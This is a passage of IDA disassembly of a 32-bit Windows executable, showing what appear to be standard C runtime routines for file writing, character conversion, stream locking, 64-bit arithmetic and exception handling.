dword_40D19C ; WideCharToMultiByte mov edi, eax cmp edi, esi jz short loc_40A329 loc_40A2B0: ; CODE XREF: sub_409DE4+4F6j push 0 lea eax, [ebp+518h+var_584] push eax mov eax, edi sub eax, esi push eax lea eax, [ebp+esi+518h+var_410] push eax mov eax, [ebp+518h+var_588] mov eax, [eax] push dword ptr [ebx+eax] call dword_40D148 ; WriteFile test eax, eax jz short loc_40A2DE add esi, [ebp+518h+var_584] cmp edi, esi jg short loc_40A2B0 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DE: ; CODE XREF: sub_409DE4+4EFj call dword_40D050 ; RtlGetLastWin32Error mov [ebp+518h+var_56C], eax loc_40A2E7: ; CODE XREF: sub_409DE4+4F8j cmp edi, esi jg short loc_40A332 mov eax, [ebp+518h+var_574] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] mov [ebp+518h+var_578], eax jb loc_40A236 jmp short loc_40A332 ; --------------------------------------------------------------------------- loc_40A302: ; CODE XREF: sub_409DE4+2F3j push 0 lea ecx, [ebp+518h+var_584] push ecx push [ebp+518h+arg_8] push [ebp+518h+var_57C] push dword ptr [eax] call dword_40D148 ; WriteFile test eax, eax jz short loc_40A329 mov eax, [ebp+518h+var_584] and [ebp+518h+var_56C], 0 mov [ebp+518h+var_578], eax jmp short loc_40A332 ; --------------------------------------------------------------------------- loc_40A329: ; CODE XREF: sub_409DE4+21Aj ; sub_409DE4+25Bj ... call dword_40D050 ; RtlGetLastWin32Error mov [ebp+518h+var_56C], eax loc_40A332: ; CODE XREF: sub_409DE4+199j ; sub_409DE4+1AFj ... mov eax, [ebp+518h+var_578] test eax, eax jnz short loc_40A38F mov edi, [ebp+518h+var_588] loc_40A33C: ; CODE XREF: sub_409DE4+153j xor esi, esi cmp [ebp+518h+var_56C], esi jz short loc_40A363 push 5 pop esi cmp [ebp+518h+var_56C], esi jnz short loc_40A358 call sub_403F8F mov dword ptr [eax], 9 jmp short loc_40A383 ; --------------------------------------------------------------------------- loc_40A358: ; CODE XREF: sub_409DE4+565j push [ebp+518h+var_56C] call sub_403FB5 pop ecx jmp short loc_40A38A ; --------------------------------------------------------------------------- loc_40A363: ; CODE XREF: sub_409DE4+314j ; sub_409DE4+3AFj ... mov eax, [edi] test byte ptr [ebx+eax+4], 40h jz short loc_40A378 mov eax, [ebp+518h+var_57C] cmp byte ptr [eax], 1Ah jnz short loc_40A378 xor eax, eax jmp short loc_40A392 ; --------------------------------------------------------------------------- loc_40A378: ; CODE XREF: sub_409DE4+586j ; sub_409DE4+58Ej call sub_403F8F mov dword ptr [eax], 1Ch loc_40A383: ; CODE XREF: sub_409DE4+572j call sub_403FA2 mov [eax], esi loc_40A38A: ; CODE XREF: sub_409DE4+CCj ; sub_409DE4+57Dj or eax, 0FFFFFFFFh jmp short loc_40A392 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_409DE4+553j sub eax, [ebp+518h+var_580] loc_40A392: ; CODE XREF: sub_409DE4+592j ; sub_409DE4+5A9j pop edi pop ebx loc_40A394: ; CODE XREF: sub_409DE4+37j ; sub_409DE4+62j mov ecx, [ebp+518h+var_4] xor ecx, ebp pop esi call sub_403F45 add ebp, 518h leave retn sub_409DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3AA proc near ; CODE XREF: sub_4068C4+CBp ; sub_4068C4+13Ap ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_40E700 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40A3D9 call sub_403FA2 and dword ptr [eax], 0 call sub_403F8F mov dword ptr [eax], 9 loc_40A3D1: ; CODE XREF: sub_40A3AA+5Cj or eax, 0FFFFFFFFh jmp loc_40A476 ; --------------------------------------------------------------------------- loc_40A3D9: ; CODE XREF: sub_40A3AA+12j xor edi, edi cmp eax, edi jl short loc_40A3E7 cmp eax, dword_413A68 jb short loc_40A408 loc_40A3E7: ; CODE XREF: sub_40A3AA+33j ; sub_40A3AA+7Cj call sub_403FA2 mov [eax], edi call sub_403F8F mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h jmp short loc_40A3D1 ; --------------------------------------------------------------------------- loc_40A408: ; CODE XREF: sub_40A3AA+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:413A80h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 38h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_40A3E7 push eax call sub_40BAAF pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_40A451 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_409DE4 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_40A467 ; --------------------------------------------------------------------------- loc_40A451: ; CODE XREF: sub_40A3AA+8Fj call sub_403F8F mov dword ptr [eax], 9 call sub_403FA2 mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_40A467: ; CODE XREF: sub_40A3AA+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40A47C mov eax, [ebp+var_1C] loc_40A476: ; CODE XREF: sub_40A3AA+2Aj call __SEH_epilog4 retn sub_40A3AA endp ; =============== S U B R O U T I N E ======================================= sub_40A47C proc near ; CODE XREF: sub_40A3AA+C4p ; DATA XREF: seg001:0040E718o push dword ptr [ebp+8] call sub_40BB4F pop ecx retn sub_40A47C endp ; =============== S U B R O U T I N E ======================================= sub_40A486 proc near ; CODE XREF: sub_4068C4+9Cp arg_0 = dword ptr 4 inc dword_411D64 push 1000h call sub_409323 test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_40A4AF or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_40A4C0 ; --------------------------------------------------------------------------- loc_40A4AF: ; CODE XREF: sub_40A486+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_40A4C0: ; CODE XREF: sub_40A486+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_40A486 endp ; =============== S U B R O U T I N E ======================================= sub_40A4CA proc near ; CODE XREF: sub_4068C4+91p ; sub_409DE4+E7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40A4E1 call sub_403F8F mov dword ptr [eax], 9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A4E1: ; CODE XREF: sub_40A4CA+7j push esi xor esi, esi cmp eax, esi jl short loc_40A4F0 cmp eax, dword_413A68 jb short loc_40A50C loc_40A4F0: ; CODE XREF: sub_40A4CA+1Cj call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_404E8B add esp, 14h xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40A50C: ; CODE XREF: sub_40A4CA+24j mov ecx, eax and eax, 1Fh imul eax, 38h sar ecx, 5 mov ecx, dword_413A80[ecx*4] movzx eax, byte ptr [ecx+eax+4] and eax, 40h pop esi retn sub_40A4CA endp ; =============== S U B R O U T I N E ======================================= sub_40A528 proc near ; CODE XREF: sub_4068C4+76p ; sub_4068C4+82p mov eax, offset off_410EE0 retn sub_40A528 endp ; =============== S U B R O U T I N E ======================================= sub_40A52E proc near ; DATA XREF: seg001:0040D238o mov eax, dword_413A60 test eax, eax push esi push 14h pop esi jnz short loc_40A542 mov eax, 200h jmp short loc_40A548 ; --------------------------------------------------------------------------- loc_40A542: ; CODE XREF: sub_40A52E+Bj cmp eax, esi jge short loc_40A54D mov eax, esi loc_40A548: ; CODE XREF: sub_40A52E+12j mov dword_413A60, eax loc_40A54D: ; CODE XREF: sub_40A52E+16j push 4 push eax call sub_409363 test eax, eax pop ecx pop ecx mov dword_412A58, eax jnz short loc_40A57E push 4 push esi mov dword_413A60, esi call sub_409363 test eax, eax pop ecx pop ecx mov dword_412A58, eax jnz short loc_40A57E push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40A57E: ; CODE XREF: sub_40A52E+30j ; sub_40A52E+49j xor edx, edx mov ecx, offset off_410EE0 jmp short loc_40A58C ; --------------------------------------------------------------------------- loc_40A587: ; CODE XREF: sub_40A52E+6Dj mov eax, dword_412A58 loc_40A58C: ; CODE XREF: sub_40A52E+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset byte_411160 jl short loc_40A587 push 0FFFFFFFEh pop esi xor edx, edx mov ecx, offset dword_410EF0 push edi loc_40A5A8: ; CODE XREF: sub_40A52E+AAj mov edi, edx and edi, 1Fh imul edi, 38h mov eax, edx sar eax, 5 mov eax, dword_413A80[eax*4] mov eax, [edi+eax] cmp eax, 0FFFFFFFFh jz short loc_40A5CC cmp eax, esi jz short loc_40A5CC test eax, eax jnz short loc_40A5CE loc_40A5CC: ; CODE XREF: sub_40A52E+94j ; sub_40A52E+98j mov [ecx], esi loc_40A5CE: ; CODE XREF: sub_40A52E+9Cj add ecx, 20h inc edx cmp ecx, offset dword_410F50 jl short loc_40A5A8 pop edi xor eax, eax pop esi retn sub_40A52E endp ; =============== S U B R O U T I N E ======================================= sub_40A5DF proc near ; DATA XREF: seg001:0040D24Co call sub_40BF7A cmp byte_411408, 0 jz short loc_40A5F2 call sub_40BD5D loc_40A5F2: ; CODE XREF: sub_40A5DF+Cj push dword_412A58 call sub_40405A pop ecx retn sub_40A5DF endp ; =============== S U B R O U T I N E ======================================= sub_40A5FF proc near ; CODE XREF: sub_40C273+50p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, offset off_410EE0 cmp esi, eax jb short loc_40A62F cmp esi, offset dword_411140 ja short loc_40A62F mov ecx, esi sub ecx, eax sar ecx, 5 add ecx, 10h push ecx call sub_405121 or dword ptr [esi+0Ch], 8000h pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_40A62F: ; CODE XREF: sub_40A5FF+Cj ; sub_40A5FF+14j add esi, 20h push esi call dword_40D130 ; RtlEnterCriticalSection pop esi retn sub_40A5FF endp ; =============== S U B R O U T I N E ======================================= sub_40A63B proc near ; CODE XREF: sub_40BEA0+46p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_40A65A add eax, 10h push eax call sub_405121 mov eax, [esp+4+arg_4] or dword ptr [eax+0Ch], 8000h pop ecx retn ; --------------------------------------------------------------------------- loc_40A65A: ; CODE XREF: sub_40A63B+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_40D130 ; RtlEnterCriticalSection retn sub_40A63B endp ; =============== S U B R O U T I N E ======================================= sub_40A669 proc near ; CODE XREF: sub_40C2E7+1p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_410EE0 cmp eax, ecx jb short loc_40A694 cmp eax, offset dword_411140 ja short loc_40A694 and dword ptr [eax+0Ch], 0FFFF7FFFh sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_405049 pop ecx retn ; --------------------------------------------------------------------------- loc_40A694: ; CODE XREF: sub_40A669+Bj ; sub_40A669+12j add eax, 20h push eax call dword_40D12C ; RtlLeaveCriticalSection retn sub_40A669 endp ; =============== S U B R O U T I N E ======================================= sub_40A69F proc near ; CODE XREF: sub_40BF42+9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] cmp ecx, 14h mov eax, [esp+arg_4] jge short loc_40A6BE and dword ptr [eax+0Ch], 0FFFF7FFFh add ecx, 10h push ecx call sub_405049 pop ecx retn ; --------------------------------------------------------------------------- loc_40A6BE: ; CODE XREF: sub_40A69F+Bj add eax, 20h push eax call dword_40D12C ; RtlLeaveCriticalSection retn sub_40A69F endp ; =============== S U B R O U T I N E ======================================= sub_40A6C9 proc near ; CODE XREF: sub_4068C4+9p ; sub_406AC5+9Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_40A6F1 call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_40A6F1: ; CODE XREF: sub_40A6C9+9j mov eax, [eax+10h] pop esi retn sub_40A6C9 endp ; =============== S U B R O U T I N E ======================================= sub_40A6F6 proc near ; CODE XREF: sub_406AC5+554p mov eax, dword_410440 or eax, 1 xor ecx, ecx cmp dword_411D68, eax setz cl mov eax, ecx retn sub_40A6F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A70C proc near ; CODE XREF: sub_40A86B+12p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx push edi mov edi, [ebp+arg_8] jnz short loc_40A732 cmp edi, ebx jbe short loc_40A732 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40A72E mov [eax], ebx loc_40A72E: ; CODE XREF: sub_40A70C+1Ej ; sub_40A70C+ECj ... xor eax, eax jmp short loc_40A7B1 ; --------------------------------------------------------------------------- loc_40A732: ; CODE XREF: sub_40A70C+13j ; sub_40A70C+17j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40A73C or dword ptr [eax], 0FFFFFFFFh loc_40A73C: ; CODE XREF: sub_40A70C+2Bj cmp edi, 7FFFFFFFh jbe short loc_40A75F call sub_403F8F push 16h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_404E8B add esp, 14h loc_40A75B: ; CODE XREF: sub_40A70C+CCj ; sub_40A70C+D5j mov eax, esi jmp short loc_40A7B1 ; --------------------------------------------------------------------------- loc_40A75F: ; CODE XREF: sub_40A70C+36j push [ebp+arg_10] lea ecx, [ebp+var_10] call sub_4048C8 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz loc_40A80A mov ax, [ebp+arg_C] cmp ax, 0FFh jbe short loc_40A7B6 cmp esi, ebx jz short loc_40A793 cmp edi, ebx jbe short loc_40A793 push edi push ebx push esi call sub_403FE0 add esp, 0Ch loc_40A793: ; CODE XREF: sub_40A70C+76j ; sub_40A70C+7Aj ... call sub_403F8F mov dword ptr [eax], 2Ah call sub_403F8F cmp [ebp+var_4], bl mov eax, [eax] jz short loc_40A7B1 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_40A7B1: ; CODE XREF: sub_40A70C+24j ; sub_40A70C+51j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A7B6: ; CODE XREF: sub_40A70C+72j cmp esi, ebx jz short loc_40A7E8 cmp edi, ebx ja short loc_40A7E6 loc_40A7BE: ; CODE XREF: sub_40A70C+141j ; sub_40A70C+149j ... call sub_403F8F push 22h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_404E8B add esp, 14h cmp [ebp+var_4], bl jz short loc_40A75B mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_40A75B ; --------------------------------------------------------------------------- loc_40A7E6: ; CODE XREF: sub_40A70C+B0j mov [esi], al loc_40A7E8: ; CODE XREF: sub_40A70C+ACj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40A7F5 mov dword ptr [eax], 1 loc_40A7F5: ; CODE XREF: sub_40A70C+E1j ; sub_40A70C+12Aj ... cmp [ebp+var_4], bl jz loc_40A72E mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_40A72E ; --------------------------------------------------------------------------- loc_40A80A: ; CODE XREF: sub_40A70C+64j lea ecx, [ebp+arg_4] push ecx push ebx push edi push esi push 1 lea ecx, [ebp+arg_C] push ecx push ebx mov [ebp+arg_4], ebx push dword ptr [eax+4] call dword_40D19C ; WideCharToMultiByte cmp eax, ebx jz short loc_40A83C cmp [ebp+arg_4], ebx jnz loc_40A793 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_40A7F5 mov [ecx], eax jmp short loc_40A7F5 ; --------------------------------------------------------------------------- loc_40A83C: ; CODE XREF: sub_40A70C+11Aj call dword_40D050 ; RtlGetLastWin32Error cmp eax, 7Ah jnz loc_40A793 cmp esi, ebx jz loc_40A7BE cmp edi, ebx jbe loc_40A7BE push edi push ebx push esi call sub_403FE0 add esp, 0Ch jmp loc_40A7BE sub_40A70C endp ; =============== S U B R O U T I N E ======================================= sub_40A86B proc near ; CODE XREF: sub_406AC5+487p ; sub_406AC5+8B0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push 0 push [esp+4+arg_C] push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40A70C add esp, 14h retn sub_40A86B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A886 proc near ; CODE XREF: sub_406AC5+34Dp ; sub_40894E+93p ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_4048C8 movzx eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, 8000h cmp [ebp+var_4], 0 jz short locret_40A8BA mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_40A8BA: ; CODE XREF: sub_40A886+2Bj leave retn sub_40A886 endp ; =============== S U B R O U T I N E ======================================= sub_40A8BC proc near ; CODE XREF: sub_409DE4+17Dp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40A886 pop ecx pop ecx retn sub_40A8BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40A8D0 proc near ; CODE XREF: sub_406AC5+785p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_40A901 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_40A948 ; --------------------------------------------------------------------------- loc_40A901: ; CODE XREF: sub_40A8D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_40A90F: ; CODE XREF: sub_40A8D0+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40A90F div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_40A93D cmp edx, [esp+4+arg_4] ja short loc_40A93D jb short loc_40A946 cmp eax, [esp+4+arg_0] jbe short loc_40A946 loc_40A93D: ; CODE XREF: sub_40A8D0+5Dj ; sub_40A8D0+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_40A946: ; CODE XREF: sub_40A8D0+65j ; sub_40A8D0+6Bj xor ebx, ebx loc_40A948: ; CODE XREF: sub_40A8D0+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_40A8D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A965 proc near ; CODE XREF: sub_407459+3Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_40E720 call __SEH_prolog4 xor eax, eax mov ebx, [ebp+arg_0] xor edi, edi cmp ebx, edi setnz al cmp eax, edi jnz short loc_40A99E call sub_403F8F mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40A9F1 ; --------------------------------------------------------------------------- loc_40A99E: ; CODE XREF: sub_40A965+1Aj cmp dword_413B88, 3 jnz short loc_40A9DF push 4 call sub_405121 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_40519A pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_40A9CB mov esi, [ebx-4] sub esi, 9 mov [ebp+var_1C], esi jmp short loc_40A9CE ; --------------------------------------------------------------------------- loc_40A9CB: ; CODE XREF: sub_40A965+59j mov esi, [ebp+var_1C] loc_40A9CE: ; CODE XREF: sub_40A965+64j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40A9FF cmp [ebp+var_20], edi jnz short loc_40A9EF loc_40A9DF: ; CODE XREF: sub_40A965+40j push ebx push edi push dword_41157C call dword_40D0F4 ; RtlSizeHeap mov esi, eax loc_40A9EF: ; CODE XREF: sub_40A965+78j mov eax, esi loc_40A9F1: ; CODE XREF: sub_40A965+37j call __SEH_epilog4 retn sub_40A965 endp ; =============== S U B R O U T I N E ======================================= sub_40A9F7 proc near ; DATA XREF: seg001:0040E738o xor edi, edi mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_40A9F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A9FF proc near ; CODE XREF: sub_40A965+70p push 4 call sub_405049 pop ecx retn sub_40A9FF endp ; =============== S U B R O U T I N E ======================================= sub_40AA08 proc near ; DATA XREF: seg001:off_4107D0o ; seg001:004107D4o ... push 2 call sub_40422F pop ecx retn sub_40AA08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2A8h sub_40AA11 proc near ; CODE XREF: sub_40773B:loc_407769p var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 push ebp lea ebp, [esp-2A8h] sub esp, 328h mov eax, dword_410440 xor eax, ebp mov [ebp+2A8h+var_4], eax test byte_411160, 1 push esi jz short loc_40AA3E push 0Ah call sub_405D62 pop ecx loc_40AA3E: ; CODE XREF: sub_40AA11+23j call sub_407931 test eax, eax jz short loc_40AA4F push 16h call sub_40793E pop ecx loc_40AA4F: ; CODE XREF: sub_40AA11+34j test byte_411160, 2 jz loc_40AAFC mov [ebp+2A8h+var_220], eax mov [ebp+2A8h+var_224], ecx mov [ebp+2A8h+var_228], edx mov [ebp+2A8h+var_22C], ebx mov [ebp+2A8h+var_230], esi mov [ebp+2A8h+var_234], edi mov [ebp+2A8h+var_208], ss mov [ebp+2A8h+var_214], cs mov [ebp+2A8h+var_238], ds mov [ebp+2A8h+var_23C], es mov [ebp+2A8h+var_240], fs mov [ebp+2A8h+var_244], gs pushf pop [ebp+2A8h+var_210] mov esi, [ebp+2ACh] lea eax, [ebp+2ACh] mov [ebp+2A8h+var_20C], eax mov [ebp+2A8h+var_2D0], 10001h mov [ebp+2A8h+var_218], esi mov eax, [eax-4] push 50h mov [ebp+2A8h+var_21C], eax lea eax, [ebp+2A8h+var_328] push 0 push eax call sub_403FE0 lea eax, [ebp+2A8h+var_328] add esp, 0Ch mov [ebp+2A8h+var_2D8], eax lea eax, [ebp+2A8h+var_2D0] push 0 mov [ebp+2A8h+var_328], 40000015h mov [ebp+2A8h+var_31C], esi mov [ebp+2A8h+var_2D4], eax call dword_40D120 ; SetUnhandledExceptionFilter lea eax, [ebp+2A8h+var_2D8] push eax call dword_40D11C ; UnhandledExceptionFilter loc_40AAFC: ; CODE XREF: sub_40AA11+45j push 3 call sub_4044D0 int 3 ; Trap to Debugger sub_40AA11 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40AB04 proc near ; CODE XREF: sub_40AD4B+220p ; sub_40AD4B+229p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short locret_40AB1E sub eax, 8 cmp dword ptr [eax], 0DDDDh jnz short locret_40AB1E push eax call sub_40405A pop ecx locret_40AB1E: ; CODE XREF: sub_40AB04+6j ; sub_40AB04+11j retn sub_40AB04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB1F proc near ; CODE XREF: sub_407BE1+81p ; sub_40894E+32p var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push [ebp+arg_8] lea ecx, [ebp+var_18] call sub_4048C8 mov ebx, [ebp+arg_0] lea eax, [ebx+1] cmp eax, 100h ja short loc_40AB4D mov eax, [ebp+var_18] mov eax, [eax+0C8h] movzx eax, word ptr [eax+ebx*2] jmp short loc_40ABC2 ; --------------------------------------------------------------------------- loc_40AB4D: ; CODE XREF: sub_40AB1F+1Dj mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_40A886 test eax, eax pop ecx pop ecx jz short loc_40AB7E mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_8], al mov [ebp+var_7], bl mov [ebp+var_6], 0 pop ecx jmp short loc_40AB88 ; --------------------------------------------------------------------------- loc_40AB7E: ; CODE XREF: sub_40AB1F+4Bj xor ecx, ecx mov [ebp+var_8], bl mov [ebp+var_7], 0 inc ecx loc_40AB88: ; CODE XREF: sub_40AB1F+5Dj mov eax, [ebp+var_18] push 1 push dword ptr [eax+14h] push dword ptr [eax+4] lea eax, [ebp+var_4] push eax push ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push 1 push eax call sub_40B2E8 add esp, 20h test eax, eax jnz short loc_40ABBE cmp [ebp+var_C], al jz short loc_40ABBA mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_40ABBA: ; CODE XREF: sub_40AB1F+92j xor eax, eax jmp short loc_40ABD2 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB1F+8Dj movzx eax, [ebp+var_4] loc_40ABC2: ; CODE XREF: sub_40AB1F+2Cj and eax, [ebp+arg_4] cmp [ebp+var_C], 0 jz short loc_40ABD2 mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_40ABD2: ; CODE XREF: sub_40AB1F+9Dj ; sub_40AB1F+AAj pop ebx leave retn sub_40AB1F endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_40ABF9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: seg001:0040ABEEj push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_40AC2C push dword ptr [ebp+8] call sub_40C5BE ; RtlUnwind loc_40AC2C: ; DATA XREF: seg001:0040AC1Fo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_40AC34: ; DATA XREF: sub_40AC79+Bo ; seg001:0040AD06o mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_40AC78 mov eax, [esp+14h] mov ecx, [eax-4] xor ecx, eax call sub_403F45 push ebp mov ebp, [eax+10h] mov edx, [eax+28h] push edx mov edx, [eax+24h] push edx call sub_40AC79 add esp, 8 pop ebp mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_40AC78: ; CODE XREF: seg001:0040AC44j retn ; =============== S U B R O U T I N E ======================================= sub_40AC79 proc near ; CODE XREF: seg001:0040AC60p var_20 = dword ptr -20h var_18 = dword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push ebp push eax push 0FFFFFFFEh push offset loc_40AC34 push large dword ptr fs:0 mov eax, dword_410440 xor eax, esp push eax lea eax, [esp+24h+var_20] mov large fs:0, eax loc_40ACA2: ; CODE XREF: sub_40AC79:loc_40ACE9j mov eax, [esp+24h+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40ACEB cmp [esp+24h+arg_4], 0FFFFFFFFh jz short loc_40ACBE cmp esi, [esp+24h+arg_4] jbe short loc_40ACEB loc_40ACBE: ; CODE XREF: sub_40AC79+3Dj lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+24h+var_18], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 